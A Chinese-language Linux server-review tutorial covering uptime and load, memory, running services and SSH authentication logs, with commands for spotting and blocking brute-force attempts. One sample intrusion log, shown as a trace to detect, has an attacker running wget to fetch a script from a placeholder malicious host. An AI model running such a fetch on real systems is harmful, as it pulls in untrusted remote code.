linux学习(五)(服务器审查,正常运行时间负载,身份验证日志,正在运行的服务,评估可用内存)

服务器审查

在 Linux 中审查服务器的过程包括评估服务器的性能、安全性和配置,以确定需要改进的领域或任何潜在问题。审查的范围可以包括检查安全增强功能、检查日志文件、审查用户帐户、分析服务器的网络配置以及检查其软件版本。

Linux 以其稳定性和安全性而闻名,已成为全球许多网络和服务器后端的主打产品。根据您使用的发行版,Linux 提供了多种工具和命令来执行全面的服务器审查。

# A command often used for showing memory information
free -m

# A command for showing disk usage
df -h

# A command for showing CPU load
uptime

系统管理员和 DevOps 专业人员定期进行服务器审查以确保服务器的最佳性能、安全性和可靠性是一项关键任务。

Linux 服务器审查就像给服务器做“全身体检”——检查它的健康状况、安全漏洞和性能瓶颈,确保它稳定高效地工作。以下是通俗易懂的步骤和常用命令:


一、基础检查:看“生命体征”

就像测体温、血压,先看服务器的基本状态:

  1. 内存使用(查是否“贫血”):

    free -m  # 查看内存总量、已用、空闲(单位MB)
    • 关键指标available(可用内存)是否充足。

  2. 磁盘空间(查“胃容量”):

    df -h  # 查看各磁盘分区的使用情况(单位易读:GB/MB)
    • 重点关注Use%(使用率)超过 80% 需清理。

  3. CPU 负载(查“心脏压力”):

    uptime      # 查看负载平均值(1/5/15分钟)
    top 或 htop  # 实时监控CPU占用高的进程(按q退出)
    • 负载解读:负载值 ≤ CPU核心数 为正常(如4核CPU负载≤4)。


二、安全审查:防“小偷入侵”

检查门锁(防火墙)、访客记录(日志)和可疑人员(用户账户):

  1. 用户账户检查(查“谁有钥匙”):

    sudo less /etc/passwd      # 查看所有用户
    sudo less /etc/shadow      # 查看用户密码状态(需权限)
    who                        # 查看当前登录用户
    last                       # 查看登录历史
    • 重点排查:陌生用户、空密码账户、root远程登录。

  2. 防火墙与端口(查“门窗是否关好”):

    sudo ufw status          # 查看防火墙状态(Ubuntu)
    sudo iptables -L -n -v  # 查看详细防火墙规则(通用)
    ss -tuln                # 查看所有监听端口(替代netstat)
    • 风险端口:关闭不必要的端口(如默认的22端口可改为非标准)。

  3. 日志分析(查“监控录像”):

    sudo tail -100 /var/log/auth.log  # 查看认证日志(SSH登录记录)
    sudo journalctl -u sshd          # 查看SSH服务日志(Systemd系统)
    grep "Failed" /var/log/auth.log  # 过滤登录失败的记录(防暴力破解)
    🔹 如何检测可疑攻击?
    🔸 1️⃣ 统计失败登录次数:
    sh
    复制
    编辑
    grep "Failed" /var/log/auth.log | wc -l
    📌 作用:统计包含 "Failed" 的行数,即失败尝试次数。
    🔍 如果失败次数异常多(比如几百次),可能是暴力破解!
    
    🔸 2️⃣ 查看攻击来源 IP
    sh
    复制
    编辑
    grep "Failed" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr
    📌 作用:
    
    解析 Failed password for ... from 192.168.1.100 这类日志
    提取攻击 IP
    统计每个 IP 出现次数,按次数降序排序
    🌟 示例输出
    
    复制
    编辑
    100 203.0.113.42
    50 192.168.1.100
    🔍 如果某个 IP 失败次数异常多,说明它在恶意尝试登录!
    
    🔸 3️⃣ 阻止攻击 IP
    如果发现恶意 IP,可以用 iptables 或 fail2ban 进行封锁:
    
    sh
    复制
    编辑
    sudo iptables -A INPUT -s 203.0.113.42 -j DROP
    📌 作用:阻止 203.0.113.42 访问服务器(彻底封锁)。
    
    🔹 总结
    命令	作用
    grep "Failed" /var/log/auth.log	查找登录失败的记录
    `grep "Failed" /var/log/auth.log	wc -l`
    `grep "Failed" /var/log/auth.log	awk '{print $(NF-3)}'
    sudo iptables -A INPUT -s <IP> -j DROP	封锁攻击 IP
    🔹 结论
    ✅ 这条 grep 命令是检测服务器是否遭遇 SSH 暴力破解 的第一步。
    ✅ 后续可以结合 fail2ban 自动封锁恶意 IP,提高服务器安全性。

三、性能调优:治“慢性病”

检查拖慢服务器的“慢性问题”:

  1. 进程与服务(查“谁在吃资源”):

    ps aux --sort=-%cpu | head  # 按CPU使用率排序进程
    systemctl list-units --type=service  # 查看所有服务
    • 优化建议:停用不必要的服务(如旧版本MySQL、多余容器)。

  2. 定时任务(查“自动任务”):

    crontab -l              # 查看当前用户的定时任务
    ls /etc/cron.*          # 查看系统级定时任务
    • 风险点:异常任务(如挖矿脚本)。

  3. 内核参数(查“身体机能”):

    sysctl -a | grep somaxconn  # 查看TCP连接队列大小(示例)
     
      
    • 常见优化:调整TCP缓冲区、文件打开数(需备份配置文件)。


四、备份与更新:打“疫苗”

确保系统安全和数据可恢复:

  1. 检查更新(打“补丁”):

    sudo apt update && sudo apt upgrade  # Debian/Ubuntu
    sudo yum update                     # CentOS/RHEL
     
      
    • 定期更新:修复安全漏洞,升级软件版本。

  2. 验证备份(查“保险柜”):

    ls -l /backup/            # 查看备份文件
    crontab -l | grep backup  # 检查备份任务是否设置
     
      
    • 关键点:备份是否完整、能否恢复。


五、自动化工具推荐

  • 安全扫描lynis audit system(开源安全审计工具)。

  • 监控告警Prometheus + Grafana(监控CPU、内存、磁盘)。

  • 日志分析ELK(Elasticsearch, Logstash, Kibana)。


举个实际例子

假设服务器变慢,按以下步骤排查:

  1. 快速诊断

    uptime; free -m; df -h; top
     
      
    • 发现磁盘满了 → 用 du -sh /* | sort -rh | head 找大文件。

  2. 检查登录记录

    uptime; free -m; df -h; top
     
      
    • 发现陌生IP → 封锁IP,加强SSH密钥登录。


通过定期“体检”,你的服务器会变得更健康、更安全!🚀

正常运行时间负载

在管理 Linux 服务器时,一个值得密切关注的关键指标是“正常运行时间”。Linux 中的命令提供有关系统在不关闭或重新启动的情况下运行了多长时间的信息,以及系统负载平均值。uptime

系统负载平均值是一个重要的指标,它说明了计算机系统执行的计算工作量。它反映了有多少进程正在排队等待获取 CPU 时间。系统负载平均值通常显示 1 分钟、5 分钟和 15 分钟的持续时间。

通过持续分析 Linux 服务器上的正常运行时间和负载,管理员可以识别系统使用模式、诊断可能的性能问题并确定有效的容量规划策略。如果服务器的平均负载较高,则可能表明系统资源不足或配置错误,从而导致性能降低或系统无响应。

以下是该命令及其输出的示例:uptime

$ uptime
 10:58:35 up 2 days, 20 min,  1 user,  load average: 0.00, 0.01, 0.05

在上面的输出中,“2 days, 20 min” 告诉我们系统运行了多长时间,而 “0.00, 0.01, 0.05” 分别显示了系统在过去 1 分钟、5 分钟和 15 分钟内的平均负载。

uptime 是 Linux 中一个快速查看服务器健康状态的命令,它能告诉你两件关键事:服务器运行了多久当前系统的“忙碌程度”。就像汽车的仪表盘,一眼就能看出是否需要“检修”!


命令输出示例

$ uptime
 10:58:35 up 2天, 20分钟,  1用户,  平均负载: 0.00, 0.01, 0.05
 

翻译成大白话

  • 10:58:35:现在是上午10点58分35秒(系统时间)。

  • up 2天, 20分钟:服务器已经连续运行了2天零20分钟没重启。

  • 1用户:当前有1个用户登录(比如通过SSH)。

  • 平均负载: 0.00, 0.01, 0.05:过去1分钟、5分钟、15分钟的“负载指数”。


“平均负载”通俗解释

你可以把负载(Load Average)想象成超市收银台的排队情况

  • 负载值 = 正在结账的顾客 + 排队等待的顾客

  • 假设服务器是4个收银台(4核CPU)

    • 负载 ≤4:顾客来了能立刻结账,无需排队(健康)。

    • 负载 >4:开始排队,数值越大队伍越长(可能卡顿)。

  • 三个数值的意义

    • 0.00(1分钟负载):刚刚的排队情况(最敏感,可能突发高峰)。

    • 0.01(5分钟负载):短期的平均排队情况。

    • 0.05(15分钟负载):长期的趋势(更稳定)。


如何判断负载是否过高?

  • 单核CPU:负载超过1.0 表示过载。

  • 4核CPU:负载超过4.0 表示满负荷。

  • 举例

    • 负载: 3.50, 2.10, 0.80(4核CPU):

      • 最近1分钟负载3.5 → 当前较忙,但未超4核能力。

      • 过去15分钟负载0.8 → 长期较空闲。


负载高的常见原因

  1. CPU密集型任务:代码死循环、大量计算。

  2. 磁盘I/O过高:频繁读写大文件、数据库查询慢。

  3. 内存不足:频繁交换内存到磁盘(SWAP)。

  4. 大量网络请求:DDoS攻击、高并发访问。


下一步操作建议

  1. 快速定位问题

    top                # 查看实时进程(按P按CPU排序,按M按内存排序)
    htop               # 更友好的交互式监控工具(需安装)
    iostat -x 1        # 查看磁盘IO情况(%util接近100%表示磁盘满负荷)
     


    (htop界面示例:红框标出高负载进程)

  2. 针对性解决

    • CPU高:结束异常进程(kill 进程ID)、优化代码逻辑。

    • 磁盘IO高:减少日志输出、升级SSD、检查数据库索引。

    • 内存不足:关闭不需要的服务、增加物理内存、优化程序内存泄漏。


实际案例

场景:负载突然飙升至 8.00(4核CPU服务器)。
排查

  1. 用 top 发现一个 python 进程占用 200% CPU(表示占满2个核)。

  2. 检查发现是爬虫程序死循环 → 优化代码或限制资源。

  3. 负载降至 2.00,恢复健康。


通过 uptime 快速判断服务器压力,结合其他工具定位问题,就像医生用体温计+听诊器快速诊断病情一样高效! 🚑

身份验证日志

在处理 Linux 服务器及其维护时,需要定期审查的最关键组件之一是身份验证日志。这些日志通常位于 /var/log/auth.log(对于基于 Debian 的发行版)或 /var/log/secure(对于 Red Hat 和 CentOS)中,记录服务器上发生的所有与身份验证相关的事件和活动。其中包括系统登录、密码更改和发出的 sudo 命令等。

身份验证日志是监控和分析 Linux 服务器安全性的宝贵工具。它们可以指示暴力登录攻击、未经授权的访问尝试和任何可疑行为。定期分析这些日志是确保服务器安全性和数据完整性的一项基本任务。

以下是如何使用命令查看身份验证日志的最后几个条目的示例:tail

tail /var/log/auth.log

熟悉阅读和理解身份验证日志,因为这是确保服务器安全的重要方法。

Linux 身份验证日志就像服务器的“安全监控录像”,详细记录了谁在什么时候、以什么方式登录过系统,以及做了哪些需要权限的操作。它是排查黑客入侵、追踪异常行为的“破案神器”!以下是通俗解读:


一、日志文件在哪?

  • Debian/Ubuntu/var/log/auth.log

  • RedHat/CentOS/var/log/secure

  • 查看最新日志(实时监控):

    sudo tail -f /var/log/auth.log  # 实时滚动显示最新日志(按Ctrl+C退出)
     

二、日志里记录了什么?

1️⃣ SSH 登录记录
  • 登录成功

    May 25 14:30:01 server sshd[1234]: Accepted password for root from 192.168.1.100 port 22 ssh2
     
      
    • 关键信息:用户 root 从 IP 192.168.1.100 通过密码登录成功。

  • 登录失败

    May 25 14:31:05 server sshd[5678]: Failed password for invalid user hacker from 203.0.113.5 port 22 ssh2
     
      
    • 危险信号:非法用户 hacker 从 203.0.113.5 尝试密码登录失败!


2️⃣ sudo 命令记录
  • 用户提权操作

    May 25 15:00:00 server sudo:   alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=/usr/bin/apt update
     
      
    • 解读:用户 alice 用 sudo 以 root 身份执行了 apt update


3️⃣ 用户账户变更
  • 创建/删除用户

    May 25 16:00:00 server useradd[2345]: new user: name=test, UID=1001, GID=1001
    May 25 16:05:00 server userdel[3456]: delete user 'test'
     
      
    • 监控重点:非管理员创建的未知用户可能是后门账户!


三、如何快速分析日志?

1️⃣ 找“暴力破解”攻击
  • 统计某个 IP 的失败登录次数:

    grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr
    # 输出示例:
    # 100 203.0.113.5
    # 2   192.168.1.100
     
      
    • 结果解读:IP 203.0.113.5 尝试了 100 次密码,极可能是攻击者!

2️⃣ 检查可疑的 sudo 操作
  • 查看所有 sudo 提权记录:

    grep "sudo:" /var/log/auth.log
     
3️⃣ 追踪用户登录历史
  • 查看所有成功登录记录:

    grep "Accepted" /var/log/auth.log
     

四、安全加固建议

  1. 封禁暴力IP

    sudo fail2ban-client status sshd  # 查看被禁IP(需安装fail2ban)
    sudo iptables -A INPUT -s 203.0.113.5 -j DROP  # 手动封禁IP
     
  2. 禁用密码登录,改用SSH密钥

    # 修改SSH配置 /etc/ssh/sshd_config
    PasswordAuthentication no
    PermitRootLogin no
     
  3. 设置日志监控告警(如用 logwatch 或 ELK 堆栈)。


实际案例:发现入侵痕迹

日志片段

May 25 03:00:00 server sshd[1111]: Failed password for root from 203.0.113.5 port 22
May 25 03:00:01 server sshd[1112]: Accepted password for root from 203.0.113.5 port 22
May 25 03:05:00 server sudo:   root : TTY=pts/0 ; COMMAND=/usr/bin/wget http://恶意网站.com/x.sh
 

分析

  1. 攻击者从 203.0.113.5 暴力破解了 root 密码。

  2. 登录后下载了可疑脚本 x.sh(可能是木马)。
    应对:立即封锁IP,检查系统后门,重置root密码!


通过定期“翻看”这些日志,你就像服务器的保安队长,能第一时间揪出可疑分子!🔍

正在运行的服务

Linux 服务器因其稳定性和灵活性而广受欢迎,这些因素使它们成为企业和组织在管理各种服务时的首选。在 Linux 服务器下运行的服务范围从 Web 服务到数据库服务、DNS 服务器、邮件服务器等。

作为 Linux 系统管理员,定期查看这些正在运行的服务以管理资源、检查其状态和解决问题,从而确保服务器的运行状况和性能非常重要。

Linux 有多种工具可以实现此目的,例如:、、 和 。systemctlservicenetstatsslsof

例如,该命令在 Linux 系统上广泛使用,用于列出所有正在运行的服务:systemctl

systemctl --type=service 

此命令将显示所有活动服务的列表及其当前状态。它是服务器管理的必需品,应该成为任何 Linux 系统管理员工具箱的一部分。

在 Linux 服务器中,**“正在运行的服务”**就像一台多功能机器上的各种“工作模块”——比如负责网站服务的“模块”、管理数据库的“模块”、处理邮件的“模块”等。作为管理员,你需要知道哪些模块正在运行、是否健康,以及它们占用了多少资源。以下是通俗易懂的检查方法:


一、查看服务列表:用“服务遥控器”

1. systemctl 命令(主流工具,适用于大多数新系统)
  • 列出所有正在运行的服务

    systemctl list-units --type=service --state=running
     

    输出示例

    UNIT                LOAD   ACTIVE SUB     DESCRIPTION
    nginx.service       loaded active running Nginx Web Server
    mysql.service       loaded active running MySQL Database
    ssh.service         loaded active running OpenSSH Server
     
      
    • 关键信息ACTIVE 显示服务状态(active 表示正常运行)。

  • 检查某个服务的详细状态(如Nginx):

    systemctl status nginx
     

    输出示例

    ● nginx.service - Nginx Web Server
       Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
       Active: active (running) since Mon 2024-05-27 10:00:00 CST; 2 days ago
       Main PID: 1234 (nginx)
       CGroup: /system.slice/nginx.service
               ├─1234 nginx: master process /usr/sbin/nginx
               └─1235 nginx: worker process
     
      
    • 关注点Active(运行状态)、Main PID(进程ID)、日志片段。


2. service 命令(旧系统兼容工具,操作更简单)
  • 列出所有服务(仅显示部分):

    service --status-all
     

    输出示例

    [ + ]  nginx
    [ - ]  mysql
    [ ? ]  docker
     
      
    • 符号解读+ 表示运行中,- 表示已停止,? 表示状态未知。


二、检查网络服务:用“网络监控器”

1. ss 或 netstat 命令(查看服务监听的端口)
  • 列出所有监听端口的服务

    ss -tulnp  # 推荐使用(更高效)
    # 或
    netstat -tulnp  # 传统命令(逐渐被ss取代)
     

    输出示例

    Netid  State   Recv-Q  Send-Q  Local Address:Port  Peer Address:Port
    tcp    LISTEN  0       128     0.0.0.0:80          0.0.0.0:*        users:(("nginx",pid=1234,fd=6))
    tcp    LISTEN  0       128     127.0.0.1:3306      0.0.0.0:*        users:(("mysqld",pid=5678,fd=10))
     
      
    • 关键信息

      • 0.0.0.0:80 → Nginx 在 80 端口监听(提供 Web 服务)。

      • 127.0.0.1:3306 → MySQL 只允许本机访问数据库(更安全)。


2. lsof 命令(查看服务打开的文件/端口)
  • 查看某个服务(如Nginx)使用的资源

    sudo lsof -p $(pgrep nginx)  # 需安装 lsof
    
     

    输出示例

    COMMAND  PID   USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
    nginx   1234   root  cwd    DIR  253,1     4096    2 /
    nginx   1234   root  txt    REG  253,1  1160328 1234 /usr/sbin/nginx
    nginx   1234   root    6u  IPv4  12345      0t0  TCP *:http (LISTEN)
     
      
    • 解读:可以看到 Nginx 的进程打开了哪些文件、监听了哪些端口。


三、管理服务的常用操作

1. 启动/停止/重启服务

sudo systemctl start nginx    # 启动
sudo systemctl stop nginx     # 停止
sudo systemctl restart nginx # 重启
 
2. 禁止服务开机自启

sudo systemctl disable nginx
3. 检查服务是否开机自启

systemctl is-enabled nginx
 

四、实际场景案例

问题:发现服务器 8080 端口被未知服务占用,如何排查?
  1. 查看监听 8080 端口的服务

    ss -tulnp | grep ':8080'
    # 输出:users:(("mystery",pid=9999,fd=3))
     
  2. 根据 PID 查找服务名

    ps -p 9999 -o comm=
    # 输出:mystery-service
     
  3. 停止并禁用该服务

    sudo systemctl stop mystery-service
    sudo systemctl disable mystery-service
     

五、总结

  • 定期检查服务:关闭不必要的服务,节省资源、提升安全。

  • 重点关注

    • 陌生服务(可能是恶意软件)。

    • 监听在公网 IP 的服务(如 0.0.0.0:3306 可能暴露数据库)。

  • 工具选择

    • 快速概览用 systemctl,网络分析用 ss,深度排查用 lsof

掌握这些命令,你就能像“服务器医生”一样,随时诊断服务的健康状态! 🩺

评估可用内存

在 Linux 环境中运行多个应用程序时,持续跟踪系统运行状况对于平稳运行至关重要。在服务器检查过程中评估可用内存是系统管理员的常见做法。这涉及使用 Linux 提供的各种命令行工具,例如 、 和 。这些可以帮助监控内存使用情况和性能指标,确保系统不会过载,并为重要应用程序提供足够的资源。freevmstattop

例如,该命令给出了总体内存使用情况的摘要,包括总已用内存和可用内存、交换内存和缓冲区/缓存内存。下面是一个示例:free

$ free -h
              total        used        free      shared  buff/cache   available
Mem:           15Gi       10Gi       256Mi       690Mi       5.3Gi       4.2Gi
Swap:         8.0Gi       1.3Gi       6.7Gi

在此输出中,'-h' 选项用于以人类可读的格式显示结果。了解 Linux 服务器中的内存使用状态有助于保持最佳服务器性能并解决任何潜在问题

free 是 Linux 中一个查看内存使用情况的命令,可以简单理解为“内存体检报告”。它能告诉你:
内存还剩多少?被谁用了?是否快用光了?
就像手机里的“存储空间”功能,帮你判断是否需要清理垃圾或升级硬件!


用 free -h 看内存(人类友好模式)

$ free -h
              total        used        free      shared  buff/cache   available
Mem:           15Gi       10Gi       256Mi       690Mi       5.3Gi       4.2Gi
Swap:         8.0Gi       1.3Gi       6.7Gi
 
通俗解释各部分含义
  1. Mem(物理内存)

    • total(总内存):15Gi → 服务器装了 15G 内存条

    • used(已用):10Gi → 被程序直接吃掉的内存(如运行中的网站、数据库)。

    • free(空闲):256Mi → 完全没被使用的内存(看着少,但别慌!)。

    • buff/cache(缓存):5.3Gi → 系统借来当临时仓库的内存(存磁盘读写数据,不够时可快速释放)。

    • available(实际可用):4.2Gi → 真正还能用的内存 ≈ free + buff/cache 可释放部分。

  2. Swap(交换内存)

    • total:8Gi → 硬盘上划出的虚拟内存(速度慢,应急用)。

    • used:1.3Gi → 正在使用的虚拟内存(如果这个值持续很高,说明物理内存不足了!)。


如何判断内存是否够用?

  1. 重点看 available 列

    • 4.2Gi 表示当前还能支撑新程序运行的内存。

    • 如果 available 接近 0,说明内存快耗尽了,服务器可能会卡顿甚至崩溃!

  2. Swap 使用情况

    • 少量使用 Swap(如 10% 以内)是正常的。

    • Swap 使用量持续增长 → 物理内存不足,需优化程序或加内存条!


下一步操作建议

作用

📌 示例输出(部分字段解释)

 

plaintext

复制编辑

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.1 164456 9624 ? Ss 10:00 0:01 systemd www-data 1345 1.2 10.3 409600 84032 ? S 10:05 3:42 apache2 mysql 2345 5.3 18.2 204800 150832 ? Ssl 10:06 10:15 mysqld

字段含义
USER进程所属用户
PID进程 ID
%CPUCPU 占用率
%MEM内存占用率
VSZ进程占用的虚拟内存(KB)
RSS进程占用的物理内存(KB)
TTY终端设备
STAT进程状态
START进程启动时间
TIME进程累计 CPU 使用时间
COMMAND进程的命令

🔹 2️⃣ --sort=-%mem —— 按内存使用率降序排序

 

sh

复制编辑

--sort=-%mem

  1. 释放缓存(临时救急):

    sync && echo 3 | sudo tee /proc/sys/vm/drop_caches  # 清理缓存(不影响程序运行)
    📌 sync && echo 3 | sudo tee /proc/sys/vm/drop_caches 详解
    该命令用于清理 Linux 系统的缓存,但不会影响正在运行的程序。
    
    🔹 1️⃣ sync —— 确保数据写入磁盘
    ✅ 作用:sync 命令会强制将所有待写入磁盘的数据(缓存中的数据)真正写入磁盘,确保数据不会因为清理缓存而丢失。
    
    🔹 2️⃣ echo 3 —— 生成缓存清理指令
    ✅ 作用:echo 命令用于输出 3,这里 3 是一个指令参数,用于通知 Linux 清除所有类型的缓存。
    
    数值	作用
    1	只清除 页缓存(Page Cache)
    2	只清除 目录项和 inode 缓存
    3	清除所有缓存(推荐使用)
    
    🔹 3️⃣ |(管道)—— 连接 echo 和 tee
    echo 3 | sudo tee /proc/sys/vm/drop_caches
    ✅ 作用:
    echo 3 生成指令
    | 管道符:将 echo 3 的输出传递给 tee 命令
    
    🔹 4️⃣ sudo tee /proc/sys/vm/drop_caches —— 执行缓存清理
    sudo tee /proc/sys/vm/drop_caches
    ✅ 作用:
    sudo —— 以 超级用户权限 执行(普通用户无权修改 /proc/sys/vm/drop_caches)。
    tee —— 既输出内容到终端,也写入文件:
    /proc/sys/vm/drop_caches 是 Linux 内核参数文件,写入 3 之后,系统会执行缓存清理。
    tee 作用类似于 >,但可以同时显示和写入文件,> 直接写入而不显示。
    
    🔹 5️⃣ sync && echo 3 | sudo tee /proc/sys/vm/drop_caches 总结
    ✅ 完整流程:
    sync 确保所有数据写入磁盘,防止未保存数据丢失。
    echo 3 生成清理指令。
    | 把指令传递给 tee。
    sudo tee /proc/sys/vm/drop_caches 清理所有缓存。
    
    🔹 6️⃣ 注意事项
    📌 不会影响正在运行的程序:
    该命令仅清理缓存,不会影响应用程序的正常运行。
    清理缓存后,系统可能会变慢,因为需要重新加载数据到缓存。
    
    📌 适用于哪些场景?
    释放内存:如果 Linux 系统长时间运行,占用大量缓存,可以手动释放缓存。
    测试性能:在进行性能测试时,希望得到不受缓存影响的结果。
    查看真实的可用内存:缓存占用内存时,可释放后查看真实的空闲内存。
    
    🔹 7️⃣ 扩展:如何验证缓存清理?
    📌 清理缓存前后,查看内存占用
    free -h    # 查看内存使用情况
    sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
    free -h    # 再次查看变化
    🔹 清理前:cached 部分较高
    🔹 清理后:cached 变少,free 变多 ✅
    
    🔹 8️⃣ 更安全的写法
    为了防止错误,可以使用更安全的方法:
    sudo sh -c "echo 3 > /proc/sys/vm/drop_caches"
    ✅ 区别:
    
    sudo 只影响 sh -c 里的 echo,避免 tee 额外权限问题。
    🔹 9️⃣ 总结
    命令部分	作用
    sync	将缓存数据写入磁盘,防止数据丢失
    echo 3	生成清理指令(3 代表清理所有缓存)
    `	`
    sudo tee /proc/sys/vm/drop_caches	执行缓存清理,释放内存
    💡 这个命令适用于手动释放缓存,特别是在长时间运行的 Linux 服务器上。 

  2. 揪出“内存大户”

    top               # 按 M 按内存排序(找占用高的进程)
    htop              # 更友好的界面(需安装)
    ps aux --sort=-%mem | head  # 列出前10内存消耗进程
ps (Process Status,进程状态) 是 Linux 用于查看进程信息的命令。
aux 选项组合:
a (All Users) → 显示所有用户的进程(不仅限于当前用户)。
u (User Format) → 以用户友好的格式显示,包括 CPU、内存、进程名等信息。
x (Including Daemons) → 显示无终端控制的进程(如后台服务)。
--sort=-%mem:按 %MEM 字段(内存占用)降序排序(从高到低)。
- 号表示降序(不加 - 号则是升序)。
长期优化:

关闭不需要的服务(如多余容器、测试环境)。

优化程序内存泄漏(如 Java 的堆内存设置)。

升级物理内存(简单粗暴但有效)。

场景available 只剩 500MB,Swap 用了 6Gi。
分析

  • 物理内存严重不足,系统频繁使用 Swap(速度慢,性能差)。
    解决

  1. 用 top 发现一个 java 进程占用了 8Gi 内存。

  2. 联系开发团队优化代码或调整 JVM 内存参数。

  3. 临时重启该服务释放内存,长期计划加内存条。


通过 free -h,你就像给服务器做了个“血常规”,一眼看出内存健康状态! 🩺

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/983889.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Java中的栈的实现

Java中的栈的实现--双端队列&#xff08;Deque&#xff09; 1. 解释代码2.为什么不用 Stack<Character>&#xff1f;3.使用示例4.Deque 的常用方法5.LinkedList<> 和 ArrayDeque<> 的区别和联系6. 总结 1. 解释代码 Deque<Character> st new ArrayDe…

【Andrej Karpathy 神经网络从Zero到Hero】--2.语言模型的两种实现方式 (Bigram 和 神经网络)

目录 统计 Bigram 语言模型质量评价方法 神经网络语言模型 【系列笔记】 【Andrej Karpathy 神经网络从Zero到Hero】–1. 自动微分autograd实践要点 本文主要参考 大神Andrej Karpathy 大模型讲座 | 构建makemore 系列之一&#xff1a;讲解语言建模的明确入门&#xff0c;演示…

Go_zero学习笔记

<!-- go-zero --> 安装配置 go-zero_github go-zero文档 go install github.com/zeromicro/go-zero/tools/goctllatest goctl --version // goctl version 1.7.2 windows/amd64 gopath/bin/会生成goctl的执行进程(%GOPATH%\bin设置到path环境变量中) 安装protoc&pr…

nats jetstream server code 分析

对象和缩写 jetstream导入两个对象&#xff1a;stream and consumer&#xff0c;在stream 之上构造jetstreamapi。在nats代码中&#xff0c;以下是一些常见的缩写 1.mset is stream 2.jsX is something of jetstream 3.o is consumer 代码分析 对于producer &#xff0c;发送…

高效编程指南:PyCharm与DeepSeek的完美结合

DeepSeek接入Pycharm 前几天DeepSeek的充值窗口又悄悄的开放了&#xff0c;这也就意味着我们又可以丝滑的使用DeepSeek的API进行各种辅助性工作了。本文我们来聊聊如何在代码编辑器中使用DeepSeek自动生成代码。 注&#xff1a;本文适用于所有的JetBrains开发工具&#xff0c…

豆包大模型 MarsCode AI 刷题专栏 004

007.创意标题匹配问题 难度&#xff1a;易 问题描述 在广告平台中&#xff0c;为了给广告主一定的自由性和效率&#xff0c;允许广告主在创造标题的时候以通配符的方式进行创意提交。线上服务的时候&#xff0c;会根据用户的搜索词触发的 bidword 对创意中的通配符&#xff…

Blueprint —— Blueprint Editor(二)

目录 一&#xff0c;Blueprint Header View 二&#xff0c;Blueprint Bookmarks 三&#xff0c;Blueprint Editor Defaults Tab 获取类默认值 一&#xff0c;Blueprint Header View Blueprint Header View 可将虚幻引擎蓝图类和蓝图结构体转换为C代码&#xff1b;在转换过程…

JVM组成面试题及原理

Java Virtual Machine&#xff08;JVM&#xff09;是Java程序的运行环境&#xff08;java二进制字节码的运行环境&#xff09; 好处&#xff1a; 一次编写&#xff0c;到处运行自动内存管理&#xff0c;垃圾回收机制 JVM由哪些部分组成&#xff0c;运行流程是什么&#xff1f;…

解决在windows中docker拉取镜像出现的问题

解决在windows中docker拉取镜像出现的问题 docker pull minio/minio 出现报错&#xff1a; Error response from daemon: Get "https://registry-1.docker.io/v2/": net/http: request canceled while waiting for connection (Client.Timeout exceeded while await…

MySQL基本建表操作

目录 1&#xff0c;创建数据库db_ck 1.1创建表 1.2 查看创建好的表 2,创建表t_hero 2.1 先进入数据库Db_Ck 2.1.1 这里可以看是否进入数据库: 2.2 创建表t_Hero 2.2.1 我们可以先在文本文档里面写好然后粘贴进去&#xff0c;因为直接写的话&#xff0c;错了要重新开始 …

使用Arduino和ESP8266进行基于物联网的垃圾箱监控

使用 Arduino 和 ESP8266 的基于 IOT 的垃圾箱监控系统 在这个 DIY 中,我们将制作一个基于 IOT 的垃圾箱/垃圾监控系统,该系统将通过网络服务器告诉我们垃圾桶是空的还是满的,并且您可以通过互联网从世界任何地方了解“垃圾桶”或“垃圾箱”的状态。它将非常有用,可以安装…

【Academy】HTTP 请求走私 ------ HTTP request smuggling

HTTP 请求走私 ------ HTTP request smuggling 1. 什么是 HTTP 请求走私&#xff1f;2. HTTP 请求走私漏洞是如何产生的&#xff1f;3. 如何执行 HTTP 请求走私攻击3.1 CL.TE 漏洞3.2 TE.CL 漏洞3.3 TE.TE 行为&#xff1a;混淆 TE 标头 4. 如何识别和确认 HTTP 请求走私漏洞4.…

元脑服务器的创新应用:浪潮信息引领AI计算新时代

浪潮信息的元脑 R1 服务器现已全面支持开源框架 SGLang&#xff0c;能够在单机环境下实现 DeepSeek 671B 模型的高并发性能&#xff0c;用户并发访问量超过1000。通过对 SGLang 最新版本的深度适配&#xff0c;元脑 R1 推理服务器在运行高性能模型时&#xff0c;展现出卓越的处…

蓝桥备赛(13)- 链表和 list(下)

一、动态链表 - list (了解) new 和 delete 是非常耗时的操作 在算法比赛中&#xff0c;一般不会使使用 new 和 delete 去模拟实现一个链表。 而且STL 里面的 list 的底层就是动态实现的双向循环链表&#xff0c;增删会涉及 new 和 delete&#xff0c;效率不高&#xff0c;竞赛…

【VUE2】第二期——生命周期及工程化

目录 1 生命周期 1.1 介绍 1.2 钩子 2 可视化图表库 3 脚手架Vue CLI 3.1 使用步骤 3.2 项目目录介绍 3.3 main.js入口文件代码介绍 4 组件化开发 4.1 组件 4.2 普通组件注册 4.2.1 局部注册 4.2.2 全局注册 1 生命周期 1.1 介绍 Vue生命周期&#xff1a;就是…

正则表达式梳理(基于python)

正则表达式&#xff08;regular expression&#xff09;是一种针对字符串匹配查找所定义的规则模式&#xff0c;独立于语言&#xff0c;但不同语言在实现上也会存在一些细微差别&#xff0c;下面基于python对常用的相关内容进行梳理。 文章目录 一、通用常识1.通配符ps.反义 2.…

《C++ 构造、拷贝构造与析构函数:对象的诞生、克隆与消逝之旅》

类的6个默认成员函数 构造函数 是对一个对象实例化时的初始化 例如在C语言中写的堆的时候要初始化StackInit&#xff0c;而c祖师爷写的构造函数本质上就是自动调用初始化。 构造函数默认构造函数自己写的&#xff08;符合规定的显示表达式&#xff09; 注&#xff1a;一般情况下…

使用服务器搭建无门槛ChatGPT WEB应用LobeChat

